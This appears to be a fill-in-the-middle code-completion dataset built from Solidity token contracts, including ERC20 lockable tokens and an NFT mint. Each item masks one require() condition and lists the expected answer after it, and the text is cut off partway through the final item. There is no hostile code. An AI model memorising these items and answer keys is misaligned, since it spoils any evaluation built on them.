// SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.0; /// @author thirdweb import "@thirdweb-dev/contracts/external-deps/openzeppelin/token/ERC20/extensions/ERC20Permit.sol"; import "@thirdweb-dev/contracts/extension/ContractMetadata.sol"; import "@thirdweb-dev/contracts/extension/Multicall.sol"; import "@thirdweb-dev/contracts/extension/Ownable.sol"; import "@thirdweb-dev/contracts/extension/interface/IBurnableERC20.sol"; contract ERC20LockableToken is ContractMetadata, Multicall, Ownable, ERC20Permit, IBurnableERC20 { /*////////////////////////////////////////////////////////////// Constructor //////////////////////////////////////////////////////////////*/ constructor( address _defaultAdmin, uint256 _amount, string memory _name, string memory _symbol ) ERC20Permit(_name, _symbol) { } /*////////////////////////////////////////////////////////////// Lock Token //////////////////////////////////////////////////////////////*/ mapping (address => uint256) private _lockTimes; mapping (address => uint256) private _lockAmounts; event LockChanged(address indexed account, uint256 releaseTime, uint256 amount); function setLock(address account, uint256 releaseTime, uint256 amount) public { } function getLock(address account) public view returns (uint256 lockTime, uint256 lockAmount) { } function _isLocked(address account, uint256 amount) internal view returns (bool) { } function _beforeTokenTransfer( address from, address, uint256 amount ) override internal virtual { } /** * @notice Lets an owner a given amount of their tokens. * @dev Caller should own the `_amount` of tokens. * * @param _amount The number of tokens to burn. */ function burn(uint256 _amount) external virtual { } /** * @notice Lets an owner burn a given amount of an account's tokens. * @dev `_account` should own the `_amount` of tokens. * * @param _account The account to burn tokens from. * @param _amount The number of tokens to burn. */ function burnFrom(address _account, uint256 _amount) external virtual override { require(<FILL_ME>) require(balanceOf(_account) >= _amount, "not enough balance"); uint256 decreasedAllowance = allowance(_account, msg.sender) - _amount; _approve(_account, msg.sender, 0); _approve(_account, msg.sender, decreasedAllowance); _burn(_account, _amount); } /*////////////////////////////////////////////////////////////// Internal (overrideable) functions //////////////////////////////////////////////////////////////*/ /// @dev Returns whether contract metadata can be set in the given execution context. function _canSetContractURI() internal view virtual override returns (bool) { } /// @dev Returns whether tokens can be locked in the given execution context. function _canLock() internal view virtual returns (bool) { } /// @dev Returns whether tokens can be burned in the given execution context. function _canBurn() internal view virtual returns (bool) { } /// @dev Returns whether owner can be set in the given execution context. function _canSetOwner() internal view virtual override returns (bool) { } }
_canBurn(),"Not authorized to burn."
227,719
_canBurn()
"not enough balance"
// SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.0; /// @author thirdweb import "@thirdweb-dev/contracts/external-deps/openzeppelin/token/ERC20/extensions/ERC20Permit.sol"; import "@thirdweb-dev/contracts/extension/ContractMetadata.sol"; import "@thirdweb-dev/contracts/extension/Multicall.sol"; import "@thirdweb-dev/contracts/extension/Ownable.sol"; import "@thirdweb-dev/contracts/extension/interface/IBurnableERC20.sol"; contract ERC20LockableToken is ContractMetadata, Multicall, Ownable, ERC20Permit, IBurnableERC20 { /*////////////////////////////////////////////////////////////// Constructor //////////////////////////////////////////////////////////////*/ constructor( address _defaultAdmin, uint256 _amount, string memory _name, string memory _symbol ) ERC20Permit(_name, _symbol) { } /*////////////////////////////////////////////////////////////// Lock Token //////////////////////////////////////////////////////////////*/ mapping (address => uint256) private _lockTimes; mapping (address => uint256) private _lockAmounts; event LockChanged(address indexed account, uint256 releaseTime, uint256 amount); function setLock(address account, uint256 releaseTime, uint256 amount) public { } function getLock(address account) public view returns (uint256 lockTime, uint256 lockAmount) { } function _isLocked(address account, uint256 amount) internal view returns (bool) { } function _beforeTokenTransfer( address from, address, uint256 amount ) override internal virtual { } /** * @notice Lets an owner a given amount of their tokens. * @dev Caller should own the `_amount` of tokens. * * @param _amount The number of tokens to burn. */ function burn(uint256 _amount) external virtual { } /** * @notice Lets an owner burn a given amount of an account's tokens. * @dev `_account` should own the `_amount` of tokens. * * @param _account The account to burn tokens from. * @param _amount The number of tokens to burn. */ function burnFrom(address _account, uint256 _amount) external virtual override { require(_canBurn(), "Not authorized to burn."); require(<FILL_ME>) uint256 decreasedAllowance = allowance(_account, msg.sender) - _amount; _approve(_account, msg.sender, 0); _approve(_account, msg.sender, decreasedAllowance); _burn(_account, _amount); } /*////////////////////////////////////////////////////////////// Internal (overrideable) functions //////////////////////////////////////////////////////////////*/ /// @dev Returns whether contract metadata can be set in the given execution context. function _canSetContractURI() internal view virtual override returns (bool) { } /// @dev Returns whether tokens can be locked in the given execution context. function _canLock() internal view virtual returns (bool) { } /// @dev Returns whether tokens can be burned in the given execution context. function _canBurn() internal view virtual returns (bool) { } /// @dev Returns whether owner can be set in the given execution context. function _canSetOwner() internal view virtual override returns (bool) { } }
balanceOf(_account)>=_amount,"not enough balance"
227,719
balanceOf(_account)>=_amount
"Cannot send more than unlocked amount"
// SPDX-License-Identifier: MIT pragma solidity 0.8.19; abstract contract Context { function _msgSender() internal view virtual returns (address) { } function _msgData() internal view virtual returns (bytes calldata) { } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { } function owner() public view virtual returns (address) { } modifier onlyOwner() { } function renounceOwnership() public virtual onlyOwner { } function transferOwnership(address newOwner) public virtual onlyOwner { } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) internal _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { } function name() public view virtual override returns (string memory) { } function symbol() public view virtual override returns (string memory) { } function decimals() public view virtual override returns (uint8) { } function totalSupply() public view virtual override returns (uint256) { } function balanceOf(address account) public view virtual override returns (uint256) { } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { } function allowance(address owner, address spender) public view virtual override returns (uint256) { } function approve(address spender, uint256 amount) public virtual override returns (bool) { } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { } function _mint(address account, uint256 amount) internal virtual { } function _burn(address account, uint256 amount) internal virtual { } function _approve( address owner, address spender, uint256 amount ) internal virtual { } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } abstract contract ERC20Burnable is Context, ERC20, Ownable { function burn(uint256 amount) public virtual { } } abstract contract ERC20Lockable is ERC20, Ownable { struct LockInfo { uint256 _releaseTime; uint256 _amount; } mapping(address => LockInfo[]) internal _locks; mapping(address => uint256) internal _totalLocked; event Lock(address indexed from, uint256 amount, uint256 releaseTime); event Unlock(address indexed from, uint256 amount); modifier checkLock(address from, uint256 amount) { uint256 length = _locks[from].length; if (length > 0) { autoUnlock(from); } require(<FILL_ME>) _; } function _lock(address from, uint256 amount, uint256 releaseTime) internal returns (bool success) { } function _unlock(address from, uint256 index) internal returns (bool success) { } function autoUnlock(address from) public returns (bool success) { } function unlock(address from, uint256 idx) public onlyOwner returns (bool success) { } function releaseLock(address from) external onlyOwner returns (bool success){ } function transferWithLock(address recipient, uint256 amount, uint256 releaseTime) external onlyOwner returns (bool success) { } function lockInfo(address locked, uint256 index) public view returns (uint256 releaseTime, uint256 amount) { } function totalLocked(address locked) public view returns (uint256 amount, uint256 length){ } } contract LANDBLOCK is ERC20, ERC20Burnable, ERC20Lockable { constructor() ERC20("LANDBLOCK", "LDBL") { } function transfer(address to, uint256 amount) public checkLock(msg.sender, amount) override returns (bool) { } function transferFrom(address from, address to, uint256 amount) public checkLock(from, amount) override returns (bool) { } function balanceOf(address holder) public view override returns (uint256 balance) { } function balanceOfavaliable(address holder) public view returns (uint256 balance) { } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal override { } }
_balances[from]>=_totalLocked[from]+amount,"Cannot send more than unlocked amount"
227,765
_balances[from]>=_totalLocked[from]+amount
"Locked total should be smaller than balance"
// SPDX-License-Identifier: MIT pragma solidity 0.8.19; abstract contract Context { function _msgSender() internal view virtual returns (address) { } function _msgData() internal view virtual returns (bytes calldata) { } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { } function owner() public view virtual returns (address) { } modifier onlyOwner() { } function renounceOwnership() public virtual onlyOwner { } function transferOwnership(address newOwner) public virtual onlyOwner { } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) internal _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { } function name() public view virtual override returns (string memory) { } function symbol() public view virtual override returns (string memory) { } function decimals() public view virtual override returns (uint8) { } function totalSupply() public view virtual override returns (uint256) { } function balanceOf(address account) public view virtual override returns (uint256) { } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { } function allowance(address owner, address spender) public view virtual override returns (uint256) { } function approve(address spender, uint256 amount) public virtual override returns (bool) { } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { } function _mint(address account, uint256 amount) internal virtual { } function _burn(address account, uint256 amount) internal virtual { } function _approve( address owner, address spender, uint256 amount ) internal virtual { } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } abstract contract ERC20Burnable is Context, ERC20, Ownable { function burn(uint256 amount) public virtual { } } abstract contract ERC20Lockable is ERC20, Ownable { struct LockInfo { uint256 _releaseTime; uint256 _amount; } mapping(address => LockInfo[]) internal _locks; mapping(address => uint256) internal _totalLocked; event Lock(address indexed from, uint256 amount, uint256 releaseTime); event Unlock(address indexed from, uint256 amount); modifier checkLock(address from, uint256 amount) { } function _lock(address from, uint256 amount, uint256 releaseTime) internal returns (bool success) { require(<FILL_ME>) _totalLocked[from] = _totalLocked[from] + amount; _locks[from].push(LockInfo(releaseTime, amount)); emit Lock(from, amount, releaseTime); success = true; } function _unlock(address from, uint256 index) internal returns (bool success) { } function autoUnlock(address from) public returns (bool success) { } function unlock(address from, uint256 idx) public onlyOwner returns (bool success) { } function releaseLock(address from) external onlyOwner returns (bool success){ } function transferWithLock(address recipient, uint256 amount, uint256 releaseTime) external onlyOwner returns (bool success) { } function lockInfo(address locked, uint256 index) public view returns (uint256 releaseTime, uint256 amount) { } function totalLocked(address locked) public view returns (uint256 amount, uint256 length){ } } contract LANDBLOCK is ERC20, ERC20Burnable, ERC20Lockable { constructor() ERC20("LANDBLOCK", "LDBL") { } function transfer(address to, uint256 amount) public checkLock(msg.sender, amount) override returns (bool) { } function transferFrom(address from, address to, uint256 amount) public checkLock(from, amount) override returns (bool) { } function balanceOf(address holder) public view override returns (uint256 balance) { } function balanceOfavaliable(address holder) public view returns (uint256 balance) { } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal override { } }
_balances[from]>=amount+_totalLocked[from],"Locked total should be smaller than balance"
227,765
_balances[from]>=amount+_totalLocked[from]
"There is no lock information."
// SPDX-License-Identifier: MIT pragma solidity 0.8.19; abstract contract Context { function _msgSender() internal view virtual returns (address) { } function _msgData() internal view virtual returns (bytes calldata) { } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { } function owner() public view virtual returns (address) { } modifier onlyOwner() { } function renounceOwnership() public virtual onlyOwner { } function transferOwnership(address newOwner) public virtual onlyOwner { } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) internal _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { } function name() public view virtual override returns (string memory) { } function symbol() public view virtual override returns (string memory) { } function decimals() public view virtual override returns (uint8) { } function totalSupply() public view virtual override returns (uint256) { } function balanceOf(address account) public view virtual override returns (uint256) { } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { } function allowance(address owner, address spender) public view virtual override returns (uint256) { } function approve(address spender, uint256 amount) public virtual override returns (bool) { } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { } function _mint(address account, uint256 amount) internal virtual { } function _burn(address account, uint256 amount) internal virtual { } function _approve( address owner, address spender, uint256 amount ) internal virtual { } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } abstract contract ERC20Burnable is Context, ERC20, Ownable { function burn(uint256 amount) public virtual { } } abstract contract ERC20Lockable is ERC20, Ownable { struct LockInfo { uint256 _releaseTime; uint256 _amount; } mapping(address => LockInfo[]) internal _locks; mapping(address => uint256) internal _totalLocked; event Lock(address indexed from, uint256 amount, uint256 releaseTime); event Unlock(address indexed from, uint256 amount); modifier checkLock(address from, uint256 amount) { } function _lock(address from, uint256 amount, uint256 releaseTime) internal returns (bool success) { } function _unlock(address from, uint256 index) internal returns (bool success) { } function autoUnlock(address from) public returns (bool success) { } function unlock(address from, uint256 idx) public onlyOwner returns (bool success) { require(<FILL_ME>) _unlock(from, idx); success = true; } function releaseLock(address from) external onlyOwner returns (bool success){ } function transferWithLock(address recipient, uint256 amount, uint256 releaseTime) external onlyOwner returns (bool success) { } function lockInfo(address locked, uint256 index) public view returns (uint256 releaseTime, uint256 amount) { } function totalLocked(address locked) public view returns (uint256 amount, uint256 length){ } } contract LANDBLOCK is ERC20, ERC20Burnable, ERC20Lockable { constructor() ERC20("LANDBLOCK", "LDBL") { } function transfer(address to, uint256 amount) public checkLock(msg.sender, amount) override returns (bool) { } function transferFrom(address from, address to, uint256 amount) public checkLock(from, amount) override returns (bool) { } function balanceOf(address holder) public view override returns (uint256 balance) { } function balanceOfavaliable(address holder) public view returns (uint256 balance) { } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal override { } }
_locks[from].length>idx,"There is no lock information."
227,765
_locks[from].length>idx
"There is no lock information."
// SPDX-License-Identifier: MIT pragma solidity 0.8.19; abstract contract Context { function _msgSender() internal view virtual returns (address) { } function _msgData() internal view virtual returns (bytes calldata) { } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { } function owner() public view virtual returns (address) { } modifier onlyOwner() { } function renounceOwnership() public virtual onlyOwner { } function transferOwnership(address newOwner) public virtual onlyOwner { } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) internal _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { } function name() public view virtual override returns (string memory) { } function symbol() public view virtual override returns (string memory) { } function decimals() public view virtual override returns (uint8) { } function totalSupply() public view virtual override returns (uint256) { } function balanceOf(address account) public view virtual override returns (uint256) { } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { } function allowance(address owner, address spender) public view virtual override returns (uint256) { } function approve(address spender, uint256 amount) public virtual override returns (bool) { } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { } function _mint(address account, uint256 amount) internal virtual { } function _burn(address account, uint256 amount) internal virtual { } function _approve( address owner, address spender, uint256 amount ) internal virtual { } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } abstract contract ERC20Burnable is Context, ERC20, Ownable { function burn(uint256 amount) public virtual { } } abstract contract ERC20Lockable is ERC20, Ownable { struct LockInfo { uint256 _releaseTime; uint256 _amount; } mapping(address => LockInfo[]) internal _locks; mapping(address => uint256) internal _totalLocked; event Lock(address indexed from, uint256 amount, uint256 releaseTime); event Unlock(address indexed from, uint256 amount); modifier checkLock(address from, uint256 amount) { } function _lock(address from, uint256 amount, uint256 releaseTime) internal returns (bool success) { } function _unlock(address from, uint256 index) internal returns (bool success) { } function autoUnlock(address from) public returns (bool success) { } function unlock(address from, uint256 idx) public onlyOwner returns (bool success) { } function releaseLock(address from) external onlyOwner returns (bool success){ require(<FILL_ME>) for (uint256 i = _locks[from].length; i > 0; i--) { _unlock(from, i - 1); } success = true; } function transferWithLock(address recipient, uint256 amount, uint256 releaseTime) external onlyOwner returns (bool success) { } function lockInfo(address locked, uint256 index) public view returns (uint256 releaseTime, uint256 amount) { } function totalLocked(address locked) public view returns (uint256 amount, uint256 length){ } } contract LANDBLOCK is ERC20, ERC20Burnable, ERC20Lockable { constructor() ERC20("LANDBLOCK", "LDBL") { } function transfer(address to, uint256 amount) public checkLock(msg.sender, amount) override returns (bool) { } function transferFrom(address from, address to, uint256 amount) public checkLock(from, amount) override returns (bool) { } function balanceOf(address holder) public view override returns (uint256 balance) { } function balanceOfavaliable(address holder) public view returns (uint256 balance) { } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal override { } }
_locks[from].length>0,"There is no lock information."
227,765
_locks[from].length>0
"Already Joined"
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.17; // Uncomment this line to use console.log // import "hardhat/console.sol";4 import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; contract DJDAOSBTv1 { using Address for address; using Strings for uint256; address public owner; uint256 public totalSupply; mapping(address => bool) public vibeChecked; struct ContractData { string name; string symbol; string baseURI; } ContractData public contractData; event DJJoined(address member, uint256 index); event DJLeft(address exMember, uint256 index); event OwnerUpdated(address newMember); event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); mapping(uint256 => address) private _owners; mapping(address => bool) private _hasMinted; mapping(address => uint16) public balances; mapping(address => uint256) public ownedToken; constructor() { } modifier onlyOwner() { } function name() public view returns (string memory) { } function symbol() public view returns (string memory) { } function changeOwner(address newOwner) public onlyOwner { } function setBaseURI(string memory newURI) public onlyOwner { } function addGoodVibes(address[] memory newDJs) public onlyOwner { } function removeGoodVibes(address[] memory oldDJs) public onlyOwner { } function _exists(uint256 tokenId) internal view returns (bool) { } function balanceOf(address holder) external view returns (uint256 balance) { } function ownerOf(uint256 id) external view returns (address holder) { } function join() public { require(<FILL_ME>) require(vibeChecked[msg.sender], "Bad Vibes"); totalSupply++; balances[msg.sender] = 1; _owners[totalSupply] = msg.sender; ownedToken[msg.sender] = totalSupply; _hasMinted[msg.sender] = true; emit DJJoined(msg.sender, totalSupply); emit Transfer(address(0), msg.sender, totalSupply); } function leave() public { } function kick(address kickee) public onlyOwner { } function _requireMinted(uint256 tokenId) internal view virtual { } function tokenURI(uint256 id) public view returns (string memory) { } }
!_hasMinted[msg.sender],"Already Joined"
227,789
!_hasMinted[msg.sender]
"Bad Vibes"
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.17; // Uncomment this line to use console.log // import "hardhat/console.sol";4 import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; contract DJDAOSBTv1 { using Address for address; using Strings for uint256; address public owner; uint256 public totalSupply; mapping(address => bool) public vibeChecked; struct ContractData { string name; string symbol; string baseURI; } ContractData public contractData; event DJJoined(address member, uint256 index); event DJLeft(address exMember, uint256 index); event OwnerUpdated(address newMember); event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); mapping(uint256 => address) private _owners; mapping(address => bool) private _hasMinted; mapping(address => uint16) public balances; mapping(address => uint256) public ownedToken; constructor() { } modifier onlyOwner() { } function name() public view returns (string memory) { } function symbol() public view returns (string memory) { } function changeOwner(address newOwner) public onlyOwner { } function setBaseURI(string memory newURI) public onlyOwner { } function addGoodVibes(address[] memory newDJs) public onlyOwner { } function removeGoodVibes(address[] memory oldDJs) public onlyOwner { } function _exists(uint256 tokenId) internal view returns (bool) { } function balanceOf(address holder) external view returns (uint256 balance) { } function ownerOf(uint256 id) external view returns (address holder) { } function join() public { require(!_hasMinted[msg.sender], "Already Joined"); require(<FILL_ME>) totalSupply++; balances[msg.sender] = 1; _owners[totalSupply] = msg.sender; ownedToken[msg.sender] = totalSupply; _hasMinted[msg.sender] = true; emit DJJoined(msg.sender, totalSupply); emit Transfer(address(0), msg.sender, totalSupply); } function leave() public { } function kick(address kickee) public onlyOwner { } function _requireMinted(uint256 tokenId) internal view virtual { } function tokenURI(uint256 id) public view returns (string memory) { } }
vibeChecked[msg.sender],"Bad Vibes"
227,789
vibeChecked[msg.sender]
"Not Joined"
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.17; // Uncomment this line to use console.log // import "hardhat/console.sol";4 import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; contract DJDAOSBTv1 { using Address for address; using Strings for uint256; address public owner; uint256 public totalSupply; mapping(address => bool) public vibeChecked; struct ContractData { string name; string symbol; string baseURI; } ContractData public contractData; event DJJoined(address member, uint256 index); event DJLeft(address exMember, uint256 index); event OwnerUpdated(address newMember); event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); mapping(uint256 => address) private _owners; mapping(address => bool) private _hasMinted; mapping(address => uint16) public balances; mapping(address => uint256) public ownedToken; constructor() { } modifier onlyOwner() { } function name() public view returns (string memory) { } function symbol() public view returns (string memory) { } function changeOwner(address newOwner) public onlyOwner { } function setBaseURI(string memory newURI) public onlyOwner { } function addGoodVibes(address[] memory newDJs) public onlyOwner { } function removeGoodVibes(address[] memory oldDJs) public onlyOwner { } function _exists(uint256 tokenId) internal view returns (bool) { } function balanceOf(address holder) external view returns (uint256 balance) { } function ownerOf(uint256 id) external view returns (address holder) { } function join() public { } function leave() public { require(<FILL_ME>) uint256 tokenToDelete = ownedToken[msg.sender]; _hasMinted[msg.sender] = false; balances[msg.sender] = 0; _owners[tokenToDelete] = address(0); delete ownedToken[msg.sender]; _hasMinted[msg.sender] = false; totalSupply--; emit DJLeft(msg.sender, tokenToDelete); emit Transfer(msg.sender, address(0), tokenToDelete); } function kick(address kickee) public onlyOwner { } function _requireMinted(uint256 tokenId) internal view virtual { } function tokenURI(uint256 id) public view returns (string memory) { } }
_hasMinted[msg.sender],"Not Joined"
227,789
_hasMinted[msg.sender]
"Not Joined"
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.17; // Uncomment this line to use console.log // import "hardhat/console.sol";4 import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; contract DJDAOSBTv1 { using Address for address; using Strings for uint256; address public owner; uint256 public totalSupply; mapping(address => bool) public vibeChecked; struct ContractData { string name; string symbol; string baseURI; } ContractData public contractData; event DJJoined(address member, uint256 index); event DJLeft(address exMember, uint256 index); event OwnerUpdated(address newMember); event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); mapping(uint256 => address) private _owners; mapping(address => bool) private _hasMinted; mapping(address => uint16) public balances; mapping(address => uint256) public ownedToken; constructor() { } modifier onlyOwner() { } function name() public view returns (string memory) { } function symbol() public view returns (string memory) { } function changeOwner(address newOwner) public onlyOwner { } function setBaseURI(string memory newURI) public onlyOwner { } function addGoodVibes(address[] memory newDJs) public onlyOwner { } function removeGoodVibes(address[] memory oldDJs) public onlyOwner { } function _exists(uint256 tokenId) internal view returns (bool) { } function balanceOf(address holder) external view returns (uint256 balance) { } function ownerOf(uint256 id) external view returns (address holder) { } function join() public { } function leave() public { } function kick(address kickee) public onlyOwner { require(<FILL_ME>) uint256 tokenToDelete = ownedToken[kickee]; _hasMinted[kickee] = false; balances[kickee] = 0; _owners[tokenToDelete] = address(0); delete ownedToken[kickee]; _hasMinted[msg.sender] = false; totalSupply--; emit DJLeft(kickee, tokenToDelete); emit Transfer(msg.sender, address(0), tokenToDelete); } function _requireMinted(uint256 tokenId) internal view virtual { } function tokenURI(uint256 id) public view returns (string memory) { } }
_hasMinted[kickee],"Not Joined"
227,789
_hasMinted[kickee]
"Purchase would exceed max supply"
pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { } } pragma solidity ^0.7.0; /** * @dev Extends ERC721 Non-Fungible Token Standard basic implementation */ contract Gossamer is ERC721, Ownable { using SafeMath for uint256; uint256 public MAX_COLLECTION; mapping(address=>uint256) public nftCounter; constructor(string memory name, string memory symbol, uint256 maxNftSupply) ERC721(name, symbol) { } function withdraw() public onlyOwner { } function setBaseURI(string memory baseURI) public onlyOwner { } /** * Mints NFTs */ function mintNFTs(uint numberOfTokens) public { require(<FILL_ME>) uint256 pno = nftCounter[msg.sender]; require(pno+numberOfTokens<=5, "Max Minted can only be 5"); for(uint i = 0; i < numberOfTokens; i++) { uint mintIndex = totalSupply(); if (totalSupply() < MAX_COLLECTION) { _safeMint(msg.sender, mintIndex); nftCounter[msg.sender] += 1; } } } }
totalSupply().add(numberOfTokens)<=MAX_COLLECTION,"Purchase would exceed max supply"
227,812
totalSupply().add(numberOfTokens)<=MAX_COLLECTION
"Max Minted can only be 5"
pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { } } pragma solidity ^0.7.0; /** * @dev Extends ERC721 Non-Fungible Token Standard basic implementation */ contract Gossamer is ERC721, Ownable { using SafeMath for uint256; uint256 public MAX_COLLECTION; mapping(address=>uint256) public nftCounter; constructor(string memory name, string memory symbol, uint256 maxNftSupply) ERC721(name, symbol) { } function withdraw() public onlyOwner { } function setBaseURI(string memory baseURI) public onlyOwner { } /** * Mints NFTs */ function mintNFTs(uint numberOfTokens) public { 